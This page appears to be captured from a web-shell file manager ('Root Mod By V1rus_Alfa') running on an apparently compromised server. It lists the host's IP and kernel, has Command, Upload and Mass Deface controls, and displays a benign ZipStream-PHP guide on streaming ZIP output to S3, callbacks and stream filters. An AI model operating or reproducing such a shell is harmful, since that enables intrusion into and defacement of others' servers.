���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
vendor
/
maennchen
/
zipstream-php
/
guides
/
Viewing: StreamOutput.rst
Stream Output =============== Stream to S3 Bucket --------------- .. code-block:: php use Aws\S3\S3Client; use Aws\Credentials\CredentialProvider; use ZipStream\ZipStream; $bucket = 'your bucket name'; $client = new S3Client([ 'region' => 'your region', 'version' => 'latest', 'bucketName' => $bucket, 'credentials' => CredentialProvider::defaultProvider(), ]); $client->registerStreamWrapper(); $zipFile = fopen("s3://$bucket/example.zip", 'w'); $zip = new ZipStream( enableZip64: false, outputStream: $zipFile, ); $zip->addFile( fileName: 'file1.txt', data: 'File1 data', ); $zip->addFile( fileName: 'file2.txt', data: 'File2 data', ); $zip->finish(); fclose($zipFile); Stream to Callback Function --------------------------- The CallbackStreamWrapper allows you to stream ZIP data to a custom callback function, enabling flexible output handling such as streaming to multiple destinations, progress tracking, or data transformation. .. code-block:: php use ZipStream\ZipStream; use ZipStream\Stream\CallbackStreamWrapper; // Example 1: Stream to multiple destinations with proper file handling $backupFile = fopen('backup.zip', 'wb'); $logFile = fopen('transfer.log', 'ab'); $zip = new ZipStream( outputStream: CallbackStreamWrapper::open(function (string $data) use ($backupFile, $logFile) { // Send to browser echo $data; // Save to file efficiently fwrite($backupFile, $data); // Log transfer progress fwrite($logFile, "Transferred " . strlen($data) . " bytes\n"); }), sendHttpHeaders: false, ); $zip->addFile('hello.txt', 'Hello World!'); $zip->finish(); // Clean up resources fclose($backupFile); fclose($logFile); .. code-block:: php // Example 2: Progress tracking $totalBytes = 0; $zip = new ZipStream( outputStream: CallbackStreamWrapper::open(function (string $data) use (&$totalBytes) { $totalBytes += strlen($data); reportProgress($totalBytes); // Report progress to your tracking system // Your actual output handling echo $data; }), sendHttpHeaders: false, ); $zip->addFile('large_file.txt', str_repeat('A', 10000)); $zip->finish(); .. code-block:: php // Example 3: Data transformation using PHP stream filters // For data transformations, prefer PHP's built-in stream filters $outputStream = fopen('php://output', 'w'); stream_filter_append($outputStream, 'convert.base64-encode'); $zip = new ZipStream( outputStream: $outputStream, sendHttpHeaders: false, ); $zip->addFile('secret.txt', 'Confidential data'); $zip->finish(); fclose($outputStream); .. note:: For data transformations, PHP's built-in stream filters are preferred over callback transformations. Stream filters operate at the stream level and maintain data integrity. You can register custom filters using ``stream_filter_register()`` for specialized transformations.
Coded With 💗 by
0x6ick Mod By V1rus_Alfa